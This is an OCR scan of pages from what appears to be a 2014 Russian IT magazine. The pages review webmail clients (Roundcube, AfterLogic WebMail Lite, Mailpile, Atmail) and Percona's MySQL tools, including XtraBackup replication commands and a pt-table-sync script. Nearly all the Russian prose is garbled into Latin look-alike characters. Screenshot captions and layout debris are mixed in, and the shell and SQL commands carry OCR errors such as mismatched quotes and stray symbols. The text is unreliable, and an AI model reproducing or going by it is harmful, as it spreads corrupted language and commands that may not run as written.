Kpacuasle aaTel

06+OBUTS (MPOBEPHTS HoSbIE COOBIUEHMS 1 T.0.)

Ctunb ohopMmnenus

Larry
by FLINT / Biiro fiir Gestaltung, Switzerland

| B ™ Muuensua: Creative Commons Attribution-ShareAlike
l&{ Mail | classic
® by The Roundcube Dev Team
& Jtnuensua: Creative Commons Attribution-ShareAlike

HacTpoliku obo3peBaTens

3apeructpuposate ofipabotunk Ana coenok mailto:

Conmauure

UHTepdeiic Roundcube nerko noacrpouts nog cedsa

Russian (Pycckui)

-(GI-VIT-»{M i}‘(‘]‘)‘Europ e]Mn‘smw -

kekaple 1 MUHYT v
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AFTERLOGIC WEBMAILLITE

AfterLogic WebMail Lite (afterlogic.org) — 6ec-
nnatHeli POP3/IMAP4/SMTP-Be6-KIMEHT C npu-
ATHBIM MUHUManucTunieckum AJAX-uHTepderncom
(HTML5 n CSS3), peann3oBaHHbIli gnsa nnatpopm
PHP 1 .NET. Bepcusa PHP (Linux/Windows) ony6au-
KoBaHa nop, nuueHaneit AGPLV3, .NET (Windows) —
kak freeware. KnueHT OencTBUTENLHO NErkuii, on-
TUMU3MPOBaH Ansi GbICTPOi paboTbl U XopoLuen
OT3bIBYMBOCTU. JIerko MHTErpMpyeTcsi C HeKoTo-
pbIMM NaHeNaMu yrnpaeneHus cepsepamu (cPanel,
DirectAdmin, Plesk un pgpyrumun). CoOGCTBEHHO,
aTa dyHKuMs n genaet nonynapHon AfterLogic
WebMail y HekoTopbix NnpoBainaepos. PyHKUMOHAN
KaKk nnsi BeG-knMeHTa [0CTaTO4HO BHYLIMUTENEH
1 NO3BONAET YAOBNETBOPUTL GONBLUNMHCTBO 3anNpo-
coB. 3pecb M Nopaepxka HEecKoSIbKUX [OMEHOB,
no4ToBble GUNLTPLI, anpecHas kHura (LDAP n nny-
Hasl), aBTOA0MNOJIHEHNE agpeca npu Habope, NouckK,
nepechbisika coobLIEHWI 1 aBTOOTBETUUK, DYHKUNS
noaTeepXaeHns o gocraeske. BoamoxHa yctaHoB-
Ka KBOT Ha IMAP, CUMHXpOHM3auMsa 1 ynpasneHue
nankamu. Peanu3osaHbl GyHKUMA NPeanpocmo-
Tpa coobLLEeHN Nepes, nx 3arpy3koi, 6,10KMpoBka
BHELLUHMX KapTUHOK 1 JavaScript. nnio3nio paboThbl
C HaCTO/bHbIM NpuioxeHvem cospatot drag and
drop n ropsiume knasuwn (afterlogic.org/products
webmail-shortcuts.htm). Vix HemHoro, HO Bce 6a-
30Bble onepauuv AOCTynHbl. Jns coO30aHNs HOBbIX
NMUCEM MOXHO MCMONb30BaTb BCTPOEHHbLIV pejak-
TOp HTML 1nu TekcToBbIi. ECTb pyHKLMS BbICTPOrO
oTteeTa. lNMncbma MOXHO NOMETUTb, CkayaTb, pacne-
yaTatb 1 MOMETUTb kKak cnam. Nonb3osarenib MOXeT
JIerko MOACTPOUTL KIIMEHT nof, cebsi, YCTaHOBUTb
aBTOMPOBEPKY MOYTbI, BbIBOA, COOOLLEHWNIA, HACTPO-
WTb Nanku, GuneTpbl, ynpasnsTe npobunamm n go-
6aBVTb NOANMUCH. [LOCTYMHbI CKUHbI.

Ansa  ypno6bctBa wuHTErpaumm npencraBneH
dpelimBopk ans paspaboTku nnarmHos 1 APl Bce
nAarvHbl OCTYMHbI B PEnO3MTOpuUn, B KOTOPOM
OHW pasfesieHbl Ha BOCEMb MPyMn, NMO3BOJSIOLLMX
ynpaenaTb BXOAOM MONb30BAaTENS, U3MEHSATb na-

pOJib Ha HEKOTOPbIX MOYTOBLIX CepBepax, ynpas-
NATb OTMPaBKOM MoYThbl, paboTaTtb CO CMMCKOM
KOHTaKTOB 1 Tak ganee. Bcs nHdopmaums 06 ycta-
HOBKax W MoJsib30BaTesisiX XpaHNTcs B 6a3e AaHHbIX
MySQL. HacTtpoiku npou3BOAsTCS Mpu NOMOLLM
naHenn agMuHucTparopa (HEeCKONbKo BKIAZOK,
Ha3HayeHne KOTOPbIX MOHSATHO N3 Ha3BaHus), a 60-
nee rnobanbHble, Kacalowmecs paboTbl camoro
WebMail, — npaskoii koHGUrypaumoHHoro daii-
na. 3pecb BCe CTaHAapTHO, HACcTpoika AoMeHa
no yMOJI4aHuIo, NOAKIIIYEHME K APYrMM CepBeEpam
(Bkntovaa obwenocTtynHele Bpoae Gmail), agpec-
Has KHUra, s3bIK M0 YMOHYaHWIO U NpoYee.
Pa3BepTbiBaHne B BapmaHTe PHP Huyem He oT-
nnyaeTca oT nogobHbix LAMP/WAMP-pelueHnii,

J[0CTaToO4HO CKONMPOBAaTh aisibl U CriefoBaTh yka-
3aHnsam macTepa.

MpoekT npepnaraet nNoapobHbIE WHCTPYKLMK
no yCTaHOBKe, HacTpoWike W uHTerpauuu ¢ Beb-
naHensiMu ynpasJfieHns CepBEPOM.

Kpome Bepcum Lite, komnaHus npegnaraet
no BecbMa [AEMOKPATUYHON LIeHe W HEeCKOJIbKO
npoaBuHyTyto Bepcuio AfterLogic WebMail Pro
(afterlogic.com) B pByx BapuaHTax: ASP.NET
n PHP, B KOTOPOM peann3oBaHbl AONOSHUTESNbHbIE
byHKUuMK (kaneHgapb, nanku IMAP, CUHXpOHU3a-
uma CardDAV/CalDAV n ppyrue). Takxe peanu-
3o0BaH MailSuite, npencraensiowmii yxxe rotoBbli
Nno4TOBbI cepBep ¢ HTepdencom WebMail 1 Be6-
naHenbio aAMUHNCTPUPOBAHUS.

user33s28@demo.afterlogic.com KOHTaKTBI

+ Ommeyennsie

<4 Omnpaenentbie

Welcome to Webmail Demo Account

P Yeproeukn
Wy Cnam n

1l Kopsua 77 What is this about?

7~ Good guy in your network family

Hacrpoiia nanok

Hacrpoin  Buixog

LR

Welcome to Webmail Demo Account 1313

c ~ Webmail Demo Komy: MHe

13:13 O

Hi there!

13:43

We hope you enjoy
this webmail frontend
as we here at
Afterlogic, do.

Please feel free to
ciick, tap and
drag-n-drop
everything around. :)

AfterLogic WebMail Lite — nerkvii u npocToi Be6-KnmeHT
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MAILPILE

Mailpile (mailpile.is) — camblii Monogon npo-
ekT o63opa M npedHasHa4yeH B MepBylO0 ovepenb
0SS VHOMBMAYyanbHOro  MCMonb3oBaHus. Hava-
no nonoxeHo Ha Indiegogo, korga paspaboTum-
KM C aBrycta no ceHtabpb 2013 roga npuBneknv
6onee 160 Tbicsy ponnapos. Bepcua 0.1.0 Gbina
npencTasneHa yxe B Hadane 2014 ropa. B Mailpile
coenanu CTaBky Ha KOHOUAEHUMANbHOCTb U WUd-
poBaHue. Bce dalinbl, coxpaHsemMble Ha XEeCTKOM
ONCKe, MO YMONYaHUo LWMdPYIOTCS NPy NMOMOLLM
OpenPGP. Takxe OpenPGP n S/MIME ucnonb3ay-
eTcs ans 6e3onacHoi nepepayn u MNoOAnMcKU co-
o6uieHnii. CoOOTBETCTBEHHO, MO 3aJaye B AaHHbIX
KaX[0ro KOHTakTa eCTb MYHKT AJ19 BBOAA OTKPLITOro
Kntoya. Hacrpoiiku wundposaHms, noannucu coob-
LLLeHW ANs KaXA0ro KOHTaKTa BbICTaBASOTCS MHAN-
BMAYyanbHO Npu nomowm noautuk (Crypto Policy).
Mpu HeobxoaMMOCTW, ykaszaB none, Mbl MOXEM
BOOOLLE OTK/IIOUUTL 3Ty DYHKUMIO. NS ynpoLuieHns
60/1bLIOro YMCa HACTPOEK YCTAHABAMBAETCS MON-
TVKa WndpoBaHus No ymonyauuio. MHTerpuposaHa
nopaepxka dunsTpauum cnama, obicTpasi noUCcKo-
Basi cuctema u dbunbTpel. Mpu atom Mailpile TaHeT
[axe OTHOCUTENbHO cnabblii cepBep, B TOM Yucie
€ro MOXHO yCTaHOBUTb Ha VDS HavyanbHOro ypoBHS
nnn Raspberry Pi. BupTyanbHble nanku 3aecb cOoT-

BETCTBYIOT Teram, nosib3oBaTeslb MOXET CO3aaBaTb
moboe ux konuuectBo. C ofHUM uHTepdeicom
MOXHO paboTaTb C HECKOIbKMMU NMOYTOBLIMU ALLN-
KaMu, KoTopble 3A4eCb HasblBalTCH Npodunsmu.
Ansa kaxporo npoduna ykasblBaeTcs CBOW MapLu-
pyT (SMTP-cepBep, NopT, noruH, naposnb). HTML5-

MHTEPdENC 04eHb NPOCT U NOHSATEH JaXe HOBUUKY,
nepeseneH Ha 6osiee Yem 30 A3bIKOB, Cpean KOTo-
PbIX €CTb PYCCKUIA.

PacnpocTtpaHsietca no  ycnosusim  AGPL
n Apache License 2.0. Hanucax Ha Python 1 moxeTt
6bITb pa3BepHyT Ha Linux, OS X nnu Windows.

& mailpile B

# Drafts To
Inbox Type to add contacts
A Subject

Spam Subject

i@ Trash
&
® FOSDEM

@ Crypto-List
B All Mail

£ Photos

#Add Attachment

B Files B2 Send Now

@ Links

[eree——

FARF S 2 -

Cc Bee

UnTepdeiic Mailpile
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ATMAIL

Atmail (atmail.com) — npoekT HebGoNbLLION (BCEro
25 COTPYOHMKOB) aBCTPASIMINCKON KOMMaHUK, 3aHuW-
MaiolLeica pa3paboTkor peleHuin Ha 6ase Open
Source. HecMOTpsi Ha CKPOMHblE pasmMepbl, KOM-
naHusi UMeeT cpeam CBOMX KJIMEHTOB MHOXECTBO
MECTHbIX GVMPM 1 Takne Cepbe3Hble OpraHM3aumu,
KakK M1HUCTEPCTBO aHepreTukn CLLUA n NASA. lMep-
Bble Bepcun, nosismeluinecs B 1998 roay, Ha3biBa-
nmce @Mail, 3aTeM NPOEKT MONy4YnUn CErogHsiLLHee
nms. HekoTopoe Bpems HapaboTku npepsiaranvcb
6ecnnatHo nop, nmeHem AtmailOpen (atmail.org),

LmpeHne dYHKLMOHANbHOCTU BO3MOXHO 3a CYeT
MCNOMb30BaHMS NNarnHoB. Takxe peann3osaH API
A9 UHTerpauum ¢ apyrumu pelueHnamu. Boamox-
Ha paboTa HeCKOJIbKMX CEPBEPOB B kylacTepe. Atmail
NoCTaBNSIETCA C MHCTPYMEHTaMU, MNO3BOJISOLUMUN
Nerko BbIMOSHUTL MUrpaumio Nboro KonmyecTsa
nonb3oBartesniel U AaHHbIX. [aHenb agMuHUCTpa-
TOpa, HaBepHoe, camas (yHKUMOHanbHas cpeau
pelweHnii 063opa. MoanepxmBaeTcsl HECKOSbKO
MOYTOBbLIX AOMEHOB, MPUYEM KaxAblM AOMEHOM

XAKEP 09 /188/2014

MOXET yMpaBfsiTb OTAENbHbIA  aoMUHMCTPATOP.
AAMWHUCTPATOP MOXET YCTaHaBAMBaTb KBOThI,
npocmMaTpmBaTth rpadumkn 3arpy>X€HHOCTU, NOAKIIO-
4nTb aHTcnam (DNSBL, SURBL, Grey-listing, SPF,
Bayesian) 1 aHTMBMpPYCHYIO 3almTy. AyTeHTudumka-
LM nonb3oBaTteneli BO3MOXHa Yepes COOCTBEHHYIO
6a3y, yepe3 LDAP unn OC. PasBepTbiBaHWE NpO-
6neM He Bbi3biBaeT. Kpome yCTaHOBKM Ha CBOEM
cepBepe, MOXHO BblbpaTh BapuaHT apeHabl B BUae
o6na4yHoro cepsuca.

HO 3Ta BEPCUS YXXe JOSITO HE Pa3BMBAETCA U HE NOA-
nepxunsaetcs. [o3ToMy Ha CeroHs 0CTanCcs TONbKO
KOMMEPYEeCKMNi BapuaHT.

Atmail npeactaBnset coboi Nerknii NoYTOBbIN
B€O6-KJIMEHT, MOCTPOEHHBIV C MCMOIb30BAHNEM TEX-
Honoruii AJAX. MoppepxuBaetcs pabota no npo-
Tokonam POP3/IMAP/SMTP. WHTepdeiic npocT
1 IETKO ONTUMU3NPYETCSA AN YCTPOWCTB C pa3Hom
LUMPUHOWN 3KpaHa — MOXHO paboTaTb C MOYTOW
¢ MK, nnaHweTa nnn mobunbHoro yepes WAP. Kpo-
Me cob6CTBEHHO paboTbl C MOYTONM, peanu3oBaHbl
1 [OMONHUTENbHbIE PYHKUMM — KaneHaapb v cnun-
COK 3aa4y (NnepcoHasbHbIV 1 rPYNMNoOBOI), KOTOPbIE
MOXHO MCMoNb30BaTb ANS MIaHMPOBAHMSA CBOEro
BpeMeHU, GYHKLMM XpaHeHUst 1 obMeHa dainnamu.
Monb3osarenu MoryT npuHMMaTb no email npurna-
LEHNsT Ha MeponpuaTUa U OTMeYaTb B KaneHga-
pe. OHnaH-gucK NoAKMo4aeTCs U UCNonb3yeTcs
Kak ﬂOKaﬂbelﬁ, TaK 4TO J1erko nonyyarb O0CTyn
K cBOMM daiinam c noboro ycTpoincTea.

PeannsoBaHa  CUHXpPOHM3aUMs  KaneHzaps
M KOHTaKkTHbIX OaHHbIX OJ19 BCeX MoALepXuBa-
eMblX MOOWNbHBLIX YCTPOWCTB KOHTAKTOB 4epe3
ActiveSync, CardDAV, nnarmH Atmail ActiveSync
(EAS) nnn Atmail DavSync (ons Outlook). Moa-
[EPXNBAIOTCS NEPCOHasbHbIE U rnobasibHble Chnu-
CK/ aApecoB, NOMCK, UMMOPT 1 3KCMOPT KOHTaKTOB
(4yepes vCards). Atmail aBTOMaTn4eCckn NOMHUT BCe
BBEEHHbIE MW NONYyYEHHbIE HOBbIE aapeca u Co-
XpaHsieT UX B narnke KOHTakToB. VM aBTOMaTnyeckun
3anosHseT Npu BBOAE agpeca npu oTnpasBke uUaun
nepecsbiike coobuieHns. KoHTakTHOM nHdopmaum-
el MOXHO [eNnuUTbCS C APYrMMU NOJSib30BaTeNsiMu,
KOTOpbIM ByAeT AOCTYyMHAa B TOM YMC/IE Y BO3MOX-
HOCTb HE TOJIbKO YTEHUS, HO U PEeAaKTUPOBAHUS.
®dyHkums ArchiveVault npenocTaBnsieT UHCTPYMEH-
Tbl, HeO6Xx0ANMBIE A5 cOopa, XpaHEeHMs 1 BOCCTa-
HOBJIEHUSI COOBLLIEHMI, NPOXOASALLMX Yepes CUcTe-
My. [MpegycmoTpeHa BO3MOXHOCTb MNPOBEAEHUS
MaCCOBbIX PACCbINOK, ObICTPLIN U TOYHBIA Mexa-
HU3M noucka.

HacTtpoek 0O4eHb MHOro, MOXHO BbICTaBUTb
npeaynpexaeHns o NP1xoae HOBOro NCbMa, ecTb
byHKUMM nepeagpecaumn nNucem, aBTOOTBETYMK
1 no6aBneHne aBToMaTn4YeCcKor Noanvcy 1 opyroe.
Wcnonb3oBaHne CSS m npocTtoit ¢ppermMBOpK no-
3BONSIOT aAMWHUCTPATOPY IErkKO U3MEHUTb UHTEep-
deiic noa cBov HyXAbl, BKloYas 4o6aBky norotuna
1 MCNOJNIb30BaHNE LIBETOB kOMMNaHuu. Monb3oBare-
N0 AOCTYNHbI TEMbI 1 LIBETOBOE 0dopmeHne. Pac-

BbIiBOA,

Kak Bnaum, Bce BeO-KIMEHTbI peann3oBaHbl Mo-
CBOEMY 1 UMEIOT YeTKOe NnpeaHa3HavyeHne u oco-
6eHHoCTU. BbibpaB Hanbonee NooxoasiLmii, MOX-
HO 3a0bITb MPO CUTYaLMIO, KOrAa CKa4yaHHbIN BYepa
dain ocTancsa Ha AOMaLLUHEM KOMMbIOTEPE U NpU-
XOOAMTCSA NPOCUTL KOPPECTMOHAEHTA OTNPABUTbL €ro
noBTOpHO. Bcsi nHdopmauusa Bcerga 6yaeT nog
pykon. 3¢
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Welcome to your new email account

dropbox@staff atmail.com

Welcome to Atmail

Hello and welcome to your new email account. Please keep the instructions below for details on how to setup and use your new account

Please note your account details, and optionally change your password via the Webmail interface > Settings panel

Toaccess your email from anywhere, simply login to Webmail and access all your local folders, messages, contacts, calendar and more. Bookm:

IMAP/POP3 access

Your email accountis enabled with IMAPIPOP3 access. Using your favorite mail-client such as Outiook, Thunderbird, Apple Wil you can access yof

Note, you must authenticate to your POP3IMAP s erver using your full email address, not just the usermame.

To send outgoing messages via Atmail configure your mail-client to use SNTF authentication

Note, you must authenticate to your POP3IMAP s erver using your full email address.

Kpome pa6oTbi ¢ noutoii, Atmail npeanaraet pspa nonesHbix GyHKLMA

@ma" 2 UserManager  /* Services  3{ Settings @ Security ¥ Plugins T License

SERVICE LOGS

2 Logins

& Received Mail

& SentMail

Spam

& Viruses

UTILITY

Q search Logs
280 0
612 Q

Mpadumkm 3arpyxeHHocTU B Na ap TPUPC Atmail

Atmail moskem pa6omams ¢ HeCKOAbKUMU NO-

UmosbimMu domeHamu, Ka)KaOMV U3 kKomopebix
Ha3Havaemcs AUMHbLIL aamuuucmpamop
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JKCTPA-
MYCKYJI

OB30OP PERCONA
N COTTYTCTBYIOLLX v
NHCTPYMEHTOB st

MySQL gaBHoO kynaeHa OpakiioM 1 He 04EHb-TO
CMeLnT 3BOIIOLMOHMPOBATL, a MONIOBMHA CaMbIX
aKTUBHbIX pa3paboTymkoB paszbexanachk No pas-
NN4YHbIM popKaMm, 1 TeNEPb MaBHbIN ABUXHAK
MySQL-coobLecTBa HaxoAUTCA UMEHHO TaM. Mbl
yXe Korga-To nucanu HeGonbLLOW NOBEPXHOCTHbIN
0630p notomkoB MySQL, a cerogHs XoTenocb Obl
oonee getanbHO NO3HAKOMUTL TEBS C OQHUM U3

HUX N pacCKa3aTb, HeM NMMEHHO OH TaK KPYT.
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PERCONA XTRADB

OTkpoBeHHO roBops, Percona Server — a1o He ¢popk. ITo cbopka
06bl4HON MySQL ¢ A0NONHUTENBHBIMU MOAYISIMU OT HaLUMX CO-
oTeyecTBeHHUKOB lMeTpa 3ariuesa n Baguma TkadyeHko 1 ToBapu-
wiei. OCHOBHas ee N3IOMUHKA — 3TO BKJIIOYEHHbIN MO YMOHAHWUIO
ABUKOK XtraDB storage engine. Otnnyaetcs ot MySQL + InnoDB
plugin nyywei NpPonsBOANTENbHOCTLIO U MacCLUTabuUpPyeMOCTbIO,
0COGEHHO Ha COBPEMEHHbIX MHOrOsSIAEPHBLIX cepBepax. Tak-
Xe ynyyweHa PyHKUMOHANbHOCTb — BGoJbliue BCSKOW MOne3Hon
ANs ONTUMU3aLMn CTaTUCTVKM 1 NpoYero. B Heli coxpaHeHa non-
Has COBMECTUMOCTb € Tabnuuamm InnoDB, To eCTb MOXHO nepe-
KnovaTbest mexay InnoDB 1 XtraDB 6e3 kakux-11b0o nocneacTenii
(ecnn He mcnonb3oBaTb HEKOTOpPble creumduyHble ana XtraDB
GYHKLMN, TMNA MEHbLLErO pasMepa CTPaHULb).

XtraDB ocHoBaH Ha koge InnoDB, NOAHOCTLIO C HUM COBMeE-
CTMM, HO OT/IMYAETCs MNOBLILIEHHOW MNPOU3BOAMUTENBHOCTbLIO,
Gnarofaps MHTErpaumm naryeit ot komnaHuin Google n Percona.
B yacTHOCTM, B XtraDB ynydweH mexaHn3m paboTbl C NamsiThio,
pobasneHa noaaepxka HECKONbKMX MOTOKOB YTEHMSI U 3anucu,
nopaepxka ynpassieHUst MPOMyCKHOW CrOCOBHOCTBIO, peanusa-
ums ynpexaatolein Bbloopkn AaHHblx (read-ahead), agantmuBHas
yCTaHOBKA KOHTPOJIbHbIX ToYek (adaptive checkpointing), yny4iwe-
Ha paboTa noacucTeMbl BBoAa/BbiBoAa INnoDB, pacluvpeHbl BO3-
MOXHOCTW MO MacLITabMPOBaHMIO, HAKOHELL-TO NosiBMAAch NoA-
AepxKa MHOroNoTO4YHOCTN 1 MHOTOMPOLLECCOPHOCTHU, A0OaBMEHbI
AOMNONHUTENbHBIE BO3MOXHOCTYM Ansi c6opa AaHHbIX 0 paboTe cu-
CTEeMbIl 1 @HaNIU3 CTaTUCTUKM MO HUM.

XTRABACKUP

CaMblM MHTEPECHBIM MHCTPYMEHTOM U3 TeX, 4TO pa3pabarbiBaeT
Percona nomumo XtraDB, mHe kaxeTcst XtraBackup. OH no3sonsi-
€T, HN MHOTO HU Mano, CHMMaTb 63kanbl 6a3 AaHHbIX Ha OBUXKKaX
InnoDB un XtraDB npsimo Ha neTy. Hukakmx octaHoBok B/, nokos,
3aBuKCaloLMX 3anpocoB, YemM HaMm Bcerga Obil Tak MU cTapblii
n06pbIi mysqldump. CkopocTb cHATUA 63kana — A0 HECKObKNX
pas GbICTPee Mo CPABHEHUIO C KNACCUYECKUM AamMmoM. MPpUsTHbI
BG0oHyC: ecnun y Tebs Ha Myckyne BeayTcst GMHNOrM, To OH aBToMa-
TOM [0CHUTBHIBAET MHDY M3 HMX B 63Kan C MOMEHTa Hayana ero
CO34aHMs U NPefoCcTaBuUT UHDY O TOM, Ha Kakon Mo3uumm 3TOT
69kan ocraHaBnMBaeTCcs. A 3TO OTKpbIBaeT BOOOLLE LUMKAPHbIE
BO3MOXHOCTM Mo MacwTtabmposaHnio MySQL B 6oeBbix ycio-
BusX. [MogHATe cneriBa OrpaHNYMBaeTCs BCEro napon KOMaHz,
1 NPW 3TOM He rpo3uT AayHTaliMOM.

1. Oenaem gamn innobackup-ex’om

TheMaster$: innobackupex --user=yourDBuser
--password=MaGiCdB1 /path/to/backupdir

Mo utory GyneT cTpoka Buaa:

innobackupex: MySQL binlog position: filename—
'mysql-bin.003220"', position 116756883
130813 23:39:54 innobackupex: completed OK!

3anucbiBaem Ky,ua-Hl/Iﬁy,El,b no3numto 1 HomMmep 6uHnora — no-
TOM NPUroamMTCS.

MepenuBaem Aamn Ha HY>KHYIO MaLLUUHY.

Ecnn ectb MeCTO, pacrnakoBbiBaeM famn B ABa mMecta: OgHO
B Jatagvp, BTOPoe — rae XpaHuTb cbipoit aamn (6e3 --apply-
log).

TheSlave$: innobackupex --apply-log /path/to/datadir.
TheSlave$: chown -R mysql:mysql /path/to/datadir.

CospaeM Ha MacTepe to3epa:

w N

2B

CREATE USER 'lla_slave'@'%' IDENTIFIED BY '123';
GRANT REPLICATION SLAVE ON *.* TO 'lla_slave'@'%';

Ha cneiiBe (06paTh BHUMAHWE Ha MYHKT 7):

CHANGE MASTER TO
MASTER_HOST='10.54.144.81",
MASTER_USER="'1la_slave',
MASTER_PASSWORD='123",
MASTER_LOG_FILE='binlog. 1',
MASTER_LOG_P0S=64369651
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7. Tlonyyaem roToBblil CNEB, C KOTOPOrO MOXHO HAYMHATb YATaTb
LaHHbIE.

Ho, kak Tbl HaBepHsKka 3ameTun, ecTb y xtrabackup’a n ceoun
HepocTatku. Hanpumep, OH He ymMeeT CHMMaTb OTAEfNbHble Ta-
6nunupl. Tonbko Bce 6a3sbl LLEIMKOM U TONIbKO B GUHAPHOM BUAE.
MoaTomy, ecnn ecTb HEOOXOAMMOCTb PEryNIIPHO CHUMATb AaMmribl
C KaKuX-TO KOHKPETHbIX TabuL, HAa BbICOKOHArpPy>XeHHOM cepBepe,
TO NydLUe 3aBeCTU /151 HEr0 OTAENbHYIO PEMNNKY U AAMMUTb C Hee.

PERCONATOOLKIT
Percona Toolkit Hekorma HasbiBancs Maatkit, notom pebata
13 Percona ero Bbikynuan BMecTe C NpoekToM Aspersa, Canam nx

Pt-mysql-summary
OTKpbIBaeT BCIO NoA-
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#1/bin/bash

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/«
usr/bin:/sbin:/bin

echo "SET SQL_LOG_BIN=0;" >/root/desync.sql;«
for table in “mysql -B-em'show tables' superdb’ ;<
do pt-table-sync --print --nocheck-triggers«
--sync-to-master --charset=utf8 h=localhost,
D=superdb,P=3306, p="'SuPeRpAsS' ,t=$table 2> /dev/«
null; echo "SET SQL_LOG_BIN=1;" >> /root/desync.sql

B dainn desync.sql 3anucbiBaloTCs pacxopsilumecss OaHHble
B Buae 006bl4HbIX SQL-3anpocoB. MOXHO OLEHUTb, HACKOJb-
KO OHW aAeKBaTHbI U CTOUT NN 3TO NPUMeHsTbL K 6a3e. Ecnun Bce
OK, To oH nNpocTo 3annBaeTca B 6a3y v Bce. M o6paTtn BHUMaHue
Ha SET SQL_LOG_BIN. OH HyXeH Ha cxemMax mMactep — macrep.
Ecnu nepen 3anvBKOI pasHuLbl HA Takon CTPyKType 6a3 He OT-
KJIIOYNTb BUHAOTM, TO OHO MOXET Jasible MNONTW MO KONbLYy U He-
M3BECTHO, YEM B UTOre 3aKOHYUTCH. Bpsig, N 4eM-TO XOPOLLMM :).

Topmo3aT 3anpockl? N TyT ecTb Yem nopwamaHuts. Pt-
duplicate-key-checker v pt-index-usage nnsi aHanusa ncnosnb-
30BaHVs MHAEKCOB U KtoYel. MepBbii npoeepsieT BbiBog, SHOW
CREATE TABLE no Bcem Tabnuuam 1, €Cnv HaxoauT WUHOEKChI,
NMOKpPbIBAIOLLME OANHAKOBLIE KOJIOHKU BMECTE C APYrMMU UHOEK-
camu, BbIBOAUT MUX CIMCKOM. 10 yMONHYaHWUIO Y4UTLIBAIOTCS TOJIbKO
WNHIEKCbl OAMHAKOBbIX TUMOB. TO €CTb €C/I OAHA U Ta Xe KOJIOH-
ka nonaget B uHaekc tmna BTREE n FULLTEXT, To aT1o He GyneT
cunTaTbes nepeceveHmem. Ho MOXHO HEMOCPEACTBEHHO yka3aTb
ON9 ydeTa nofo6HbIX crydaeB. BTopoit ke noaknioyaeTcs K MycKy-
N, yniTtaeT query_log, nporoHseT ux yepe3 EXPLAIN, cobupaet
CTaTUCTUKY N B UTOre NpefocTaBnsieT NoapobHyo nHdopmMaumio
0 3anpocax, KOTopble MHAEKCbI HE UCMOMNb3YIOT.

Pt-query-digest ons aHannsa menneHHbIx 3anpocos. Pas-
OGupaeT 3anpockl N0 TUNam, BeAEeT N0 HUM CTaTUCTUKY, NOMoraeT
60poTbCA C MeaeHHbIMK 3anpocamn. AHanusupyetr MySQL-
3anpochbl U3 NIOroB OOLLMX U MELIEHHbIX 3aNpPOCOB, 13 BUHAPHbBIX
NOroB. Takxe MOXeT aHaIM3MpoBaThb TEKYLLME aKTUBHbIE 3anpOChI
13 SHOW PROCESSLIST 1 aaxe npocTo 13 4amMnoB MyCKYJSIbHOrO
Tpadwuka (!!!) tcpdump’om. O4eHb MoLHasA 1 yaobHas Wwryka.

NMomMnmMo 4ncTo myckynesbix yTunut, B Percona Toolkit Bxo-
ONT elle HeCcKoJIbkO MHCTPYMEHTOB OOLLECUCTEMHONM Hanpas-
neHHoctn. Pt-summary, K npumepy, cobupaeTt o6yl WH-
dopmMaumio o cucteme, Ha KOTOPO OblN 3anyLLEH: XOCTHENM,
anTtarnm, Harpysky, uHpopmauuio o npoleccope, nnarpopme,
Bepcun agpa, komnunatope un npoyee-npoyee. Pt-diskstats
cobupaeT MHbOpPMALMIO O OUCKOBOW moacucteme us /proc/
diskstats. MoxHo ckasaTtb, 605iee NoOHATHas 1 yaobHasa Bepcus
iostat’a. A pt-ioprofile yxe Gonee gertanbHo pasbupaert, ka-
KOW npouecc kakue daiinibl NCNOMb3YET, Kak 4acTo, Kak 40Jro,
C KaKOW MHTEHCUBHOCTbLIO, CKOJIbKO BPEMEHW YXOAUT Ha HTeHue,
CKOJIbKO Ha 3anucb 1 npoyee. lNMomoraeT HANTU KOPHU MHOTMUX

BOEAMHO Y NPOAoNXunn paspaboTtky. Yto Takoe Percona Toolkit? Pt-slave-find naetnpea- HecTaHOAPTHLIX U HE O4YeHb ABHbIX Npobnem. Mo ymonyaHuio
310 HAabop ONEHCOPCHbIX MHCTPpyMeHTOB (GPLv2) ana ynobHoro cTaBneHue onepenneTe- OH HAxoAuT NPOLECC MYCKYNS U AMArHOCTUPYET MMEHHO €ero,
agMUHUCTPMPOBaHUS 6a3 JaHHbIX, OCHOBaHHbIX Ha MySQL. Ero HWUM PENNK, B KOTOPbIX HO MOXHO HenocpeacTBeHHO ykasatb PID gpyroro npouecca,
BO3MOXHOCTM BKJTIOHAIOT (HO HE OFPaHMYMBAIOTCS 3TUM): yuacTByeT cepeep C KOTOPbIM XOTENOCb Obl pa306paTbCs.

1. MpoBepkKy LeNOCTHOCTN PENNKaLMmM MyTEM CPABHEHNS AaHHbIX
Ha MacTepe v cnense.

O deKkTUBHOE apxXMBUPOBAHNE CTPOK.

Mouck oy6nmpyoLmxcs NHOEKCOB.

C60p 06LLMX AaHHbIX 0 cepBepax MySQL.

AHanM3 3anpocoB 13 pPasINYHbIX UCTOYHMKOB.

C60p 06LLMX AaHHbIX O CUCTEME, KOTOPbIE MOTYT ObITb NMONE3HbI
npw peLueHny cBa3aHHbIX ¢ B, npobnem.

o ghwN

r=

Pt-mysql-summary cobupaeT n BbigaeT nHpopmaumio o 3a- ps
nyLeHHbIX Ha XocTe cepeepax BJl. Y3HaTb MOXHO GykBasbHO BCE:
KaKol BEPCUN cepBep, CO CKOSbKMMKN Bazamu paboTaeT, ecTb N
penvku, Kakue nogaepxvsalotcs OBwxkn B[, nonb3osarenw,
npuBUNErnn N MHOroe apyroe.

Mocne nonyyeHus obuwein MHbopMauMM O CUCTEME MOXHO
OBUraTbCs Aanblue, B 3aBUCUMOCTN OT MMEIOLLMXCS 3a4a4.

Mpo6nemsl ¢ pennukoin? Jlerko. Pt-table -checksum gns npo-
BEPKM KOHCUCTEHTHOCTU pennuku, pt-table-sync ana noyvHkm
cneriea, pt-slave-delay nns co3naHus NpyHyoUTENbHOM 3a4epXX-
K1 pennmumposarms. K npumepy, ¢ NMOMOLLIbIO BOT TaKOro HeGosb-
LLIOro CKpMMTa MOXHO COBpaTh NOJIHbIE AAHHBIE O Pa3HULIE MexXay
MacTepPOM U CNEBOM:

=]

em

ﬂ
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PERCONADATARECOVERY

Data Recovery — 3710 Habop MHCTPYMEHTOB OJ11 BOCCTaHOB/E-
HUSI yOaneHHbIX U NOBPEXAEHHbIX AaHHbIX 13 Tabnuy, InnoDB/
XtraDB. OH faeT BO3MOXHOCTb BblTalLMTbL AaHHbIE N3 daiinos 6a3
naxe B cnyyasix, korga InnoDB recovery okasbiBaeTcs 6eCcuneH.
Hanpumep, AponHyTblie TabnuLbl Uan Takoe KOIMYeCTBO NoBpeX-
nexuii, korga InnoDB BooGLWe nepectaeT npuaHaeaTb B daiine
6a3bl CBOEro, — BO MHOrMx noaobHbIx cnydasx Percona Data
